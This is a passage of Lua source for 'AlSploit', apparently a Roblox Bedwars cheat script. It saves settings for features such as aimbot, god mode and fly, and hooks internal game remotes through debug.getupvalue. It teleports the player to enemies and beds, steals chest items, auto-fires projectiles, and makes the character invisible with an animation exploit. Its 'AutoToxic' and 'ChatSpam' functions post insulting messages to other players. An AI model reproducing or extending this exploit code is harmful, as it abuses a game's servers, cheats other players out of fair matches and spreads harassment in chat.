  725. AutoBank = {Value = true, Range = 30, KeyBind = "..."},
  726. HighJump = {Value = false, KeyBind = "..."},
  727. PlayerTp = {Value = true, KeyBind = "..."},
  728. AutoKit = {Value = true, KeyBind = "..."},
  729. AutoBuy = {Value = true, KeyBind = "..."},
  730. GodMode = {Value = true, KeyBind = "..."},
  731. Sprint = {Value = true, KeyBind = "..."},
  732. NoFall = {Value = true, KeyBind = "..."},
  733. Aimbot = {Value = true, KeyBind = "...", ToolCheck = false},
  734. Speed = {Value = true, Speed = 23, KeyBind = "..."},
  735. Reach = {Value = true, KeyBind = "..."},
  736. Nuker = {Value = true, Range = 30, BreakOres = true, KeyBind = "..."},
  737. BedTp = {Value = true, KeyBind = "..."},
  738. Sigma = {Value = true, KeyBind = "..."},
  739. Cape = {Value = true, KeyBind = "..."},
  740. Fly = {Value = false, KeyBind = "..."},
  741. Esp = {Value = true, KeyBind = "..."},
  742. Fov = {Value = false, Fov = 100, KeyBind = "..."}
  743. }
  744.  
  745. if not (writefile or makefolder or readfile or isfile) then
  746. CreateNotification(5, "Your executor does not support saving.")
  747. end
  748.  
  749. if writefile and makefolder and readfile and isfile then
  750. makefolder("AlSploitBedwarsConfigSaving")
  751.  
  752. local JSONEncodeSettings = HttpService:JSONEncode(Settings)
  753.  
  754. writefile("AlSploitBedwarsConfigSaving/" .. SaveFileName, JSONEncodeSettings)
  755. end
  756. end
  757.  
  758. local function CheckFirstTime()
  759. if isfile("AlSploitBedwarsConfigSaving/" .. SaveFileName) then
  760. return false
  761. end
  762.  
  763. if not isfile("AlSploitBedwarsConfigSaving/" .. SaveFileName) then
  764. return true
  765. end
  766. end
  767.  
  768. function SaveSettings()
  769. local JSONEncodeSettings = HttpService:JSONEncode(Settings)
  770.  
  771. writefile("AlSploitBedwarsConfigSaving/" .. SaveFileName, JSONEncodeSettings)
  772. end
  773.  
  774. function LoadSettings()
  775. if isfile("AlSploitBedwarsConfigSaving/" .. SaveFileName) then
  776. Settings = HttpService:JSONDecode(readfile("AlSploitBedwarsConfigSaving/" .. SaveFileName))
  777.  
  778. Loaded = true
  779. end
  780. end
  781.  
  782. task.spawn(function()
  783. local FirstTime = CheckFirstTime()
  784.  
  785. if FirstTime == true then
  786. CreateSettingsFile()
  787. end
  788. end)
  789.  
  790. task.spawn(function()
  791. LoadSettings()
  792. end)
  793.  
  794. task.spawn(function()
  795. repeat
  796. task.wait(1)
  797.  
  798. SaveSettings()
  799. until not game
  800. end)
  801.  
  802. repeat task.wait() until Loaded == true
  803.  
  804. local Camera = WorkSpace.CurrentCamera
  805. local OrigC0 = ReplicatedStorage.Assets.Viewmodel.RightHand.RightWrist.C0
  806.  
  807. local KnitClient = debug.getupvalue(require(LocalPlayer.PlayerScripts.TS.knit).setup, 6)
  808. local Client = require(ReplicatedStorage.TS.remotes).default.Client
  809.  
  810. local HannahPromptTriggerRemote = Client:Get("HannahPromptTrigger")
  811. local TrinitySetAngelTypeRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("SetAngelType")
  812. local SetObservedChestRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("Inventory/SetObservedChest")
  813. local ResetCharacterRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("ResetCharacter")
  814. local ChestGiveItemRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("Inventory/ChestGiveItem")
  815. local ChestGetItemRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("Inventory/ChestGetItem")
  816. local PurchaseItemRemote = ReplicatedStorage.rbxts_include.node_modules:FindFirstChild("@rbxts").net.out._NetManaged.BedwarsPurchaseItem
  817. local BlockPlacingRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@easy-games"):WaitForChild("block-engine"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("PlaceBlock")
  818. local ClientHandlerStore = require(LocalPlayer.PlayerScripts.TS.ui.store).ClientStore
  819. local SendMessageRemote = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest")
  820. local DamageBlockRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@easy-games"):WaitForChild("block-engine"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("DamageBlock")
  821. local ProjectileRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("ProjectileFire")
  822. local ElkSummonRemote = ReplicatedStorage:WaitForChild("events-@easy-games/game-core:shared/game-core-networking@getEvents.Events"):WaitForChild("useAbility")
  823. local PlayAgainRemote = ReplicatedStorage:WaitForChild("events-@easy-games/lobby:shared/event/lobby-events@getEvents.Events")
  824. local EquipItemRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("SetInvItem")
  825. local GroundHitRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("GroundHit")
  826. local DamageIndicator = KnitClient.Controllers.DamageIndicatorController.spawnDamageIndicator
  827. local SwordController = KnitClient.Controllers.SwordController
  828. local ProjectileMeta = require(ReplicatedStorage.TS.projectile["projectile-meta"]).ProjectileMeta
  829. local SwordHitRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("SwordHit")
  830. local CombatConstant = require(ReplicatedStorage.TS.combat["combat-constant"]).CombatConstant
  831. local PlacementCPS = require(game.ReplicatedStorage.TS["shared-constants"]).CpsConstants
  832. local ReportRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("ReportPlayer")
  833. local MinerRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("DestroyPetrifiedPlayer")
  834.  
  835. local KnockBackTable = debug.getupvalue(require(ReplicatedStorage.TS.damage["knockback-util"]).KnockbackUtil.calculateKnockbackVelocity, 1)
  836. local ItemTable = debug.getupvalue(require(ReplicatedStorage.TS.item["item-meta"]).getItemMeta, 1)
  837.  
  838. local BlockPlacementController = KnitClient.Controllers.BlockPlacementController
  839. local ZephyrController = KnitClient.Controllers.WindWalkerController
  840. local SprintController = KnitClient.Controllers.SprintController
  841. local FovController = KnitClient.Controllers.FovController
  842.  
  843. local InventoryUtil = require(ReplicatedStorage.TS.inventory["inventory-util"]).InventoryUtil
  844. local ItemTable = debug.getupvalue(require(ReplicatedStorage.TS.item["item-meta"]).getItemMeta, 1)
  845.  
  846. local KillAuraAnimationCooldown = true
  847. local AnticheatDisabled = false
  848. local InfiniteFlyValue = false
  849. local FlyBodyVelocity = nil
  850. local SpoofedCamera = nil
  851. local AntiVoidPart = nil
  852. local LoopWaitTime = 0
  853. local DamageBoost = false
  854. local StartLevel = nil
  855. local ZephyrOrb = 0
  856. local GodModed = false
  857. local FlyValue = false
  858. local FlyDown = false
  859. local FlyUp = false
  860.  
  861. local Fps = 0
  862.  
  863. local Animations = {
  864. KillAura = {
  865. {CFrame = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(220), math.rad(100), math.rad(100)),Time = 0.25},
  866. {CFrame = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), Time = 0.25}
  867. },
  868.  
  869. Sigma = {
  870. {CFrame = CFrame.new(0.2, 0, -1.3) * CFrame.Angles(math.rad(111), math.rad(111), math.rad(130)), Time = 0.16},
  871. {CFrame = CFrame.new(0, -0.2, -1.7) * CFrame.Angles(math.rad(30), math.rad(111), math.rad(190)), Time = 0.16},
  872. },
  873.  
  874. Neutral = {
  875. {CFrame = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), Time = 0.15},
  876. }
  877. }
  878.  
  879. local function CollectEnderChestItems()
  880. local EnderChest = ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name .. "_personal")
  881.  
  882. for i, v in next, EnderChest:GetChildren() do
  883. if v:IsA("Accessory") and (v.Name == "emerald" or v.Name == "iron" or v.Name == "diamond" or v.Name == "gold") then
  884. ChestGetItemRemote:InvokeServer(EnderChest, v)
  885. end
  886. end
  887. end
  888.  
  889. local function SecureEnderChestItems()
  890. local EnderChest = ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name .. "_personal")
  891. local Inventory = ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name)
  892.  
  893. if Inventory then
  894. for i, v in next, Inventory:GetChildren() do
  895. if v:IsA("Accessory") and (v.Name == "emerald" or v.Name == "iron" or v.Name == "diamond" or v.Name == "gold") then
  896. ChestGiveItemRemote:InvokeServer(EnderChest, v)
  897. end
  898. end
  899. end
  900. end
  901.  
  902. local function TweenToNearestPlayer()
  903. if IsAlive(LocalPlayer) then
  904. local NearestPlayer = FindNearestPlayer()
  905.  
  906. if NearestPlayer then
  907. local TweenInformation = TweenInfo.new(0.65, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  908. local PlayerTpTween = TweenService:Create(LocalPlayer.Character.PrimaryPart, TweenInformation, {CFrame = NearestPlayer.Character.PrimaryPart.CFrame + Vector3.new(0, 2, 0)})
  909.  
  910. PlayerTpTween:Play()
  911. end
  912. end
  913. end
  914.  
  915. local function FindPetrifiedPlayer()
  916. for i, v in next, WorkSpace:GetChildren() do
  917. if v:GetAttribute("PetrifyId") then
  918. return v
  919. end
  920. end
  921. end
  922.  
  923. local function CreateSpoofedCamera()
  924. SpoofedCamera = Instance.new("Part", WorkSpace)
  925. SpoofedCamera.Anchored = true
  926. SpoofedCamera.Transparency = 1
  927. SpoofedCamera.Position = LocalPlayer.Character.Head.Position
  928.  
  929. return SpoofedCamera
  930. end
  931.  
  932. function FindNearestPlayer(MaxDistance)
  933. local NearestPlayerDistance = MaxDistance or math.huge
  934. local NearestPlayer
  935.  
  936. for i, v in next, PlayerService:GetPlayers() do
  937. if IsAlive(v) and v ~= LocalPlayer and IsAlive(LocalPlayer) and v.Team ~= LocalPlayer.Team then
  938. local Distance = (v.Character.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  939.  
  940. if Distance < NearestPlayerDistance then
  941. NearestPlayerDistance = Distance
  942. NearestPlayer = v
  943. end
  944. end
  945. end
  946.  
  947. return NearestPlayer, NearestPlayerDistance
  948. end
  949.  
  950. local function FindNearestEntity(MaxDistance)
  951. local MaxDistance = MaxDistance or math.huge
  952.  
  953. local NearestEntityDistance = MaxDistance
  954. local NearestEntity = nil
  955. local IsNotAPlayer = true
  956.  
  957. task.spawn(function()
  958. for i, v in next, CollectionService:GetTagged("DiamondGuardian") do
  959. if v.PrimaryPart then
  960. local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  961.  
  962. if Distance < NearestEntityDistance and Distance <= MaxDistance then
  963. NearestEntityDistance = Distance
  964. NearestEntity = v
  965. end
  966. end
  967. end
  968. end)
  969.  
  970. task.spawn(function()
  971. for i, v in next, CollectionService:GetTagged("GolemBoss") do
  972. if v.PrimaryPart then
  973. local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  974.  
  975. if Distance < NearestEntityDistance and Distance <= MaxDistance then
  976. NearestEntityDistance = Distance
  977. NearestEntity = v
  978. end
  979. end
  980. end
  981. end)
  982.  
  983. task.spawn(function()
  984. for i, v in next, CollectionService:GetTagged("Monster") do
  985. if v.PrimaryPart then
  986. local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  987.  
  988. if Distance < NearestEntityDistance and Distance <= MaxDistance then
  989. NearestEntityDistance = Distance
  990. NearestEntity = v
  991. end
  992. end
  993. end
  994. end)
  995.  
  996. task.spawn(function()
  997. for i, v in next, PlayerService:GetPlayers() do
  998. if IsAlive(v) and v ~= LocalPlayer and v.Team ~= LocalPlayer.Team then
  999. local Distance = (v.Character.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1000.  
  1001. if Distance < NearestEntityDistance and Distance <= MaxDistance then
  1002. NearestEntityDistance = Distance
  1003. NearestEntity= v
  1004. IsNotAPlayer = false
  1005. end
  1006. end
  1007. end
  1008. end)
  1009.  
  1010. if NearestEntity then
  1011. return (IsNotAPlayer and NearestEntity or NearestEntity.Character), NearestEntityDistance
  1012. end
  1013.  
  1014. return nil
  1015. end
  1016.  
  1017. local function TweenToNearestBed()
  1018. if IsAlive(LocalPlayer) then
  1019. local NearestBed = FindNearestBed()
  1020.  
  1021. if NearestBed then
  1022. local TweenInformation = TweenInfo.new(0.65, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  1023. local BedTpTween = TweenService:Create(LocalPlayer.Character.PrimaryPart, TweenInformation, {CFrame = NearestBed.CFrame + Vector3.new(0, 10, 0)})
  1024.  
  1025. BedTpTween:Play()
  1026. end
  1027. end
  1028. end
  1029.  
  1030. local function GetServerPosition(Position)
  1031. local X = math.round(Position.X / 3)
  1032. local Y = math.round(Position.Y / 3)
  1033. local Z = math.round(Position.Z / 3)
  1034.  
  1035. return Vector3.new(X, Y, Z)
  1036. end
  1037.  
  1038. local function FindNearestChest(MaxDistance)
  1039. local NearestChest = nil
  1040. local MaxDistance = MaxDistance or math.huge
  1041.  
  1042. for i, v in next, CollectionService:GetTagged("chest") do
  1043. if v:FindFirstChild("ChestFolderValue") then
  1044. local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1045.  
  1046. if Distance < MaxDistance then
  1047. NearestChest = v
  1048. MaxDistance = Distance
  1049. end
  1050. end
  1051. end
  1052.  
  1053. return NearestChest:FindFirstChild("ChestFolderValue")
  1054. end
  1055.  
  1056. function ShootProjectile(Item, Projectile)
  1057. local NearestPlayer = FindNearestPlayer()
  1058.  
  1059. if NearestPlayer then
  1060. local Args = {
  1061. [1] = Item,
  1062. [2] = Projectile,
  1063. [3] = Projectile,
  1064. [4] = NearestPlayer.Character.PrimaryPart.Position,
  1065. [5] = NearestPlayer.Character.PrimaryPart.Position,
  1066. [6] = Vector3.new(0, -25, 0),
  1067. [7] = HttpService:GenerateGUID(true),
  1068. [8] = {["drawDurationSeconds"] = 0.96, ["shotId"] = HttpService:GenerateGUID(false)},
  1069. [9] = (WorkSpace:GetServerTimeNow() - 0.11)
  1070. }
  1071.  
  1072. ProjectileRemote:InvokeServer(unpack(Args))
  1073. end
  1074. end
  1075.  
  1076. local function SendChatMessage(Message)
  1077. local Arguments = {
  1078. [1] = Message,
  1079. [2] = "All"
  1080. }
  1081.  
  1082. SendMessageRemote:FireServer(unpack(Arguments))
  1083. end
  1084.  
  1085. function FindNearestBed(MaxDistance)
  1086. local MaxDistance = MaxDistance or math.huge
  1087. local NearestBed = nil
  1088.  
  1089. for i, v in next, WorkSpace:GetDescendants() do
  1090. if v.Name:lower() == "bed" and v:FindFirstChild("Covers") and v:FindFirstChild("Covers").BrickColor ~= LocalPlayer.Team.TeamColor then
  1091. local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1092.  
  1093. if Distance < MaxDistance then
  1094. MaxDistance = Distance
  1095. NearestBed = v
  1096. end
  1097. end
  1098. end
  1099.  
  1100. return NearestBed
  1101. end
  1102.  
  1103. local function FindNearestNpc(MaxDistance)
  1104. local MaxDistance = MaxDistance or math.huge
  1105. local NearestNpc = nil
  1106.  
  1107. for i, v in next, CollectionService:GetTagged("BedwarsItemShop") do
  1108. local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1109.  
  1110. if Distance < MaxDistance then
  1111. MaxDistance = Distance
  1112. NearestNpc = v
  1113. end
  1114. end
  1115.  
  1116. return NearestNpc
  1117. end
  1118.  
  1119. function FindNearestOre(MaxDistance)
  1120. local MinDistance = MaxDistance or math.huge
  1121. local NearestOre = nil
  1122.  
  1123. for i, v in next, CollectionService:GetTagged("block") do
  1124. if v.Name == "iron_ore" then
  1125. local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1126.  
  1127. if Distance < MinDistance then
  1128. MinDistance = Distance
  1129. NearestOre = v
  1130. end
  1131. end
  1132. end
  1133.  
  1134. return NearestOre
  1135. end
  1136.  
  1137. function TouchingGround()
  1138. if IsAlive(LocalPlayer) then
  1139. local Parameters = RaycastParams.new()
  1140. Parameters.FilterType = Enum.RaycastFilterType.Include
  1141. Parameters.FilterDescendantsInstances = {CollectionService:GetTagged("block")}
  1142.  
  1143. local IsTouchingFloor = false
  1144.  
  1145. for x = 1, 1 do
  1146. local Origin = LocalPlayer.Character.PrimaryPart.Position + Vector3.new(x, 0, 0)
  1147.  
  1148. local Raycast = WorkSpace:Raycast(Origin, Vector3.new(0, -2.5, 0), Parameters)
  1149. if Raycast and Raycast.Instance then
  1150. IsTouchingFloor = true
  1151. end
  1152. end
  1153.  
  1154. return IsTouchingFloor
  1155. end
  1156. end
  1157.  
  1158. local function PlayAnimation(Animation)
  1159. for i, v in next, Animation do
  1160. local TweenInformation = TweenInfo.new(v.Time)
  1161. local AnimationTween = TweenService:Create(Camera.Viewmodel.RightHand.RightWrist, TweenInformation, {C0 = OrigC0 * v.CFrame})
  1162.  
  1163. AnimationTween:Play()
  1164.  
  1165. task.wait(v.Time - 0.01)
  1166. end
  1167. end
  1168.  
  1169. local function SetCollisions(Value)
  1170. if Value == true then
  1171. if IsAlive(LocalPlayer) then
  1172. for i, v in next, (LocalPlayer.Character:GetDescendants()) do
  1173. if v:IsA("BasePart") then
  1174. v.CanCollide = true
  1175. v.CanTouch = true
  1176. end
  1177. end
  1178. end
  1179. end
  1180.  
  1181. if Value == false then
  1182. for i, v in next, (LocalPlayer.Character:GetDescendants()) do
  1183. if v:IsA("BasePart") and v ~= LocalPlayer.Character.PrimaryPart and v.CanCollide then
  1184. v.CanCollide = false
  1185. v.CanTouch = false
  1186. end
  1187. end
  1188. end
  1189. end
  1190.  
  1191. local function GetMatchState()
  1192. return ClientHandlerStore:getState().Game.matchState
  1193. end
  1194.  
  1195. local function HashFunction(Value)
  1196. return {value = Value}
  1197. end
  1198.  
  1199. local function DecimalRound(Number, DigitsPast0)
  1200. DigitsPast0 = math.pow(10, DigitsPast0 or 0)
  1201.  
  1202. Number = Number * DigitsPast0
  1203.  
  1204. if Number >= 0 then
  1205. Number = math.floor(Number + 0.5)
  1206. end
  1207.  
  1208. if Number < 0 then
  1209. Number = math.ceil(Number - 0.5)
  1210. end
  1211.  
  1212. return Number / DigitsPast0
  1213. end
  1214.  
  1215. local function GetQueueType()
  1216. local State = ClientHandlerStore:getState()
  1217.  
  1218. return State.Game.queueType or "bedwars_test"
  1219. end
  1220.  
  1221. function KillHumanoid(Time)
  1222. local Time = Time or 0
  1223.  
  1224. if LocalPlayer:FindFirstChild("leaderstats") and LocalPlayer.leaderstats:FindFirstChild("Bed") then
  1225. if LocalPlayer.leaderstats.Bed.Value == "✅" then
  1226. LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Dead)
  1227.  
  1228. ResetCharacterRemote:FireServer()
  1229. end
  1230. end
  1231. end
  1232.  
  1233. local function GetInventory(Player)
  1234. local Player = Player or LocalPlayer
  1235.  
  1236. local Inventory = InventoryUtil.getInventory(Player).items
  1237.  
  1238. return Inventory
  1239. end
  1240.  
  1241. local function PurchaseItem(Arguments)
  1242. PurchaseItemRemote:InvokeServer(unpack(Arguments))
  1243. end
  1244.  
  1245. local function Invisibility()
  1246. repeat task.wait() until GetMatchState() ~= 0 and IsAlive(LocalPlayer)
  1247.  
  1248. task.wait(0.3)
  1249.  
  1250. local Animation = Instance.new("Animation")
  1251. local Id = 11335949902
  1252.  
  1253. Animation.AnimationId = "rbxassetid://".. Id
  1254.  
  1255. local PlayerAnimation = LocalPlayer.Character.Humanoid.Animator:LoadAnimation(Animation)
  1256.  
  1257. if PlayerAnimation then
  1258. LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(0, 3 / -2, 0)
  1259. LocalPlayer.Character.PrimaryPart.Size = Vector3.new(2, 3, 1.1)
  1260.  
  1261. PlayerAnimation.Priority = Enum.AnimationPriority.Action4
  1262. PlayerAnimation.Looped = false
  1263.  
  1264. LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(0, 3 / -2, 0)
  1265. LocalPlayer.Character.PrimaryPart.Transparency = 0.6
  1266. LocalPlayer.Character.PrimaryPart.Size = Vector3.new(2, 3, 1.1)
  1267.  
  1268. SetCollisions(false)
  1269.  
  1270. task.spawn(function()
  1271. repeat
  1272. task.wait()
  1273.  
  1274. PlayerAnimation:Play(1 / 999999, 999999, 1 / 999999)
  1275. until Settings.Invisible.Value == false or not IsAlive(LocalPlayer)
  1276.  
  1277. if PlayerAnimation then
  1278. PlayerAnimation:Destroy()
  1279. end
  1280.  
  1281. if Animation then
  1282. Animation:Destroy()
  1283. end
  1284.  
  1285. if IsAlive(LocalPlayer) then
  1286. SetCollisions(true)
  1287.  
  1288. LocalPlayer.Character.PrimaryPart.Size = Vector3.new(1.9, 2, 1)
  1289. LocalPlayer.Character.PrimaryPart.Transparency = 1
  1290. LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(0, 0, 0)
  1291. end
  1292. end)
  1293. end
  1294. end
  1295.  
  1296. local function SwitchItem(Item)
  1297. if LocalPlayer.Character.HandInvItem.Value ~= Item then
  1298. local InventoryItem = ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild(Item)
  1299.  
  1300. EquipItemRemote:InvokeServer({hand = InventoryItem})
  1301. end
  1302. end
  1303.  
  1304. local function PlaceBlock(Position, Block)
  1305. BlockPlacingRemote:InvokeServer({["blockType"] = Block, ["blockData"] = 0,["position"] = Position})
  1306. end
  1307.  
  1308. local function StealChest(NearestChest)
  1309. NearestChest = NearestChest and NearestChest.Value or nil
  1310.  
  1311. local Chestitems = NearestChest and NearestChest:GetChildren()
  1312.  
  1313. if #Chestitems > 1 then
  1314. SetObservedChestRemote:FireServer("BlockChest")
  1315.  
  1316. for i2, v2 in next, Chestitems do
  1317. if v2:IsA("Accessory") then
  1318. task.spawn(function()
  1319. ChestGetItemRemote:InvokeServer(NearestChest, v2)
  1320. end)
  1321. end
  1322. end
  1323.  
  1324. task.wait(0.001)
  1325.  
  1326. SetObservedChestRemote:FireServer(nil)
  1327. end
  1328. end
  1329.  
  1330. local function CreateCape(DecalId)
  1331. local Cape = Instance.new("Part")
  1332.  
  1333. Cape.Parent = LocalPlayer.Character
  1334. Cape.Name = "Cape"
  1335. Cape.Size = Vector3.new(0.2, 0.2, 0.08)
  1336. Cape.Material = Enum.Material.SmoothPlastic
  1337. Cape.Color = Color3.new(0.105882, 0.105882, 0.105882)
  1338. Cape.CanCollide = false
  1339.  
  1340. local BlockMesh = Instance.new("BlockMesh")
  1341.  
  1342. BlockMesh.Parent = Cape
  1343. BlockMesh.Name = "Mesh"
  1344. BlockMesh.Scale = Vector3.new(9, 17.5, 0.5)
  1345. BlockMesh.VertexColor = Vector3.new(1, 1, 1)
  1346.  
  1347. local Motor = Instance.new("Motor")
  1348.  
  1349. Motor.Parent = Cape
  1350. Motor.Name = "Motor"
  1351. Motor.C0 = CFrame.new(0, 2, 0, -4.37113883e-08, 0, 1, 0, 1, 0, -1, 0, -4.37113883e-08)
  1352. Motor.C1 = CFrame.new(0, 1, 0.449999988, -4.37113883e-08, 0, 1, 0, 1, 0, -1, 0, -4.37113883e-08)
  1353. Motor.Part1 = LocalPlayer.Character.UpperTorso
  1354. Motor.Part0 = Cape
  1355. Motor.CurrentAngle = -0.16208772361278534
  1356. Motor.DesiredAngle = -0.1002269834280014
  1357.  
  1358. local Decal = Instance.new("Decal")
  1359.  
  1360. Decal.Parent = Cape
  1361. Decal.Name = "Decal"
  1362. Decal.Face = Enum.NormalId.Back
  1363. Decal.Texture = DecalId
  1364. end
  1365.  
  1366. function SetCamera(Camera)
  1367. WorkSpace.CurrentCamera.CameraSubject = Camera
  1368. end
  1369.  
  1370. local function AutoToxic(Player)
  1371. local Randomized = math.random(0, 5)
  1372. local KillMessage = ""
  1373.  
  1374. if Randomized == 0 then
  1375. KillMessage = "You are so bad u died. L" .. Player.Name .. " | AlSploit on top"
  1376. end
  1377.  
  1378. if Randomized ~= 0 then
  1379. KillMessage = "I could probably win without cheats. L" .. Player.Name .. " | AlSploit on top"
  1380. end
  1381.  
  1382. if Randomized == 2 then
  1383. KillMessage = "Clowns are the only ones we kill. L" .. Player.Name .. " | AlSploit on top"
  1384. end
  1385.  
  1386. if Randomized == 3 then
  1387. KillMessage = "Rats. Imagine dying in a block game. L" .. Player.Name .. " | AlSploit on top"
  1388. end
  1389.  
  1390. if Randomized == 4 then
  1391. KillMessage = "I hack for fun. Too bad your fun is ruined. L" .. Player.Name .. " | AlSploit on top"
  1392. end
  1393.  
  1394. if Randomized == 5 then
  1395. KillMessage = "I ruined a good day for a good reason. L" .. Player.Name .. " | AlSploit on top"
  1396. end
  1397.  
  1398. SendChatMessage(KillMessage)
  1399. end
  1400.  
  1401. local function GetSword()
  1402. local HighestDamage, Sword = -math.huge, nil
  1403.  
  1404. for i, v in next, GetInventory(LocalPlayer) do
  1405. local SwordMetaGame = ItemTable[v.itemType].sword
  1406.  
  1407. if SwordMetaGame then
  1408. local SwordDamage = SwordMetaGame.damage / SwordMetaGame.attackSpeed
  1409.  
  1410. if SwordDamage > HighestDamage then
  1411. HighestDamage = SwordDamage
  1412. Sword = v
  1413. end
  1414. end
  1415. end
  1416.  
  1417. return Sword
  1418. end
  1419.  
  1420. function IsMoving()
  1421. local Position = LocalPlayer.Character.PrimaryPart.Position
  1422.  
  1423. task.wait(0.001)
  1424.  
  1425. if IsAlive(LocalPlayer) and LocalPlayer.Character.PrimaryPart.Position ~= Position then
  1426. Position = LocalPlayer.Character.PrimaryPart.Position
  1427.  
  1428. return true
  1429. end
  1430.  
  1431. if IsAlive(LocalPlayer) and LocalPlayer.Character.PrimaryPart.Position == Position then
  1432. Position = LocalPlayer.Character.PrimaryPart.Position
  1433.  
  1434. return false
  1435. end
  1436. end
  1437.  
  1438. local function ChatSpam()
  1439. local Randomized = math.random(0, 5)
  1440. local KillMessage = ""
  1441.  
  1442. if Randomized == 0 then
  1443. KillMessage = "AlSploit does more updates than Bedwars 💀. | AlSploit On Top"
  1444. end
  1445.  
  1446. if Randomized ~= 0 then
  1447. KillMessage = "SkidB4 is as bad as how you felt when your dad left you. | AlSploit On Top"
  1448. end
  1449.  
  1450. if Randomized == 2 then
  1451. KillMessage = "Switch to AlSploit, ez wins. | AlSploit On Top"
  1452. end
  1453.  
  1454. if Randomized == 3 then
  1455. KillMessage = "I am not cheating, my gaming chair is. | AlSploit On Top"
  1456. end
  1457.  
  1458. if Randomized == 4 then
  1459. KillMessage = "3 years now, and the anticheat is still the same. | AlSploit On Top"
  1460. end
  1461.  
  1462. if Randomized == 5 then
  1463. KillMessage = "Kids in bedwars just keep getting worst. | AlSploit On Top"
  1464. end
  1465.  
  1466. SendChatMessage(KillMessage)
  1467. end
  1468.  
  1469. local function AutoBank()
  1470. local NearestNpc = FindNearestNpc(Settings.AutoBank.Range)
  1471.  
  1472. if NearestNpc then
  1473. CollectEnderChestItems()
  1474. end
  1475.  
  1476. if not NearestNpc then
  1477. SecureEnderChestItems()
  1478. end
  1479. end
  1480.  
  1481. local function FpsBoost()
  1482. for i, v in next, CollectionService:GetTagged("block") do
  1483. if v:GetAttribute("PlacedByUserId") == 0 then
  1484. v.Material = Enum.Material.SmoothPlastic
  1485.  
  1486. for i2, v2 in next, (v:GetDescendants()) do
  1487. if v2:IsA("BasePart") then
  1488. v2.Material = Enum.Material.SmoothPlastic
  1489. end
  1490. end
  1491. end
  1492. end
  1493. end
  1494.  
  1495. function GetSpeed()
  1496. local Speed = 0
  1497.  
  1498. if IsAlive(LocalPlayer) then
  1499.  
  1500. local SpeedDamageBoost = LocalPlayer.Character:GetAttribute("SpeedBoost")
  1501.  
  1502. if SpeedDamageBoost and SpeedDamageBoost > 1 then
  1503. Speed = Speed + (20 * (SpeedDamageBoost - 1))
  1504. end
  1505.  
  1506. if LocalPlayer.Character:GetAttribute("SpeedPieBuff") then
  1507. Speed = Speed + 5
  1508. end
  1509.  
  1510. if LocalPlayer.Character:GetAttribute("GrimReaperChannel") then
  1511. Speed = Speed + 20
  1512. end
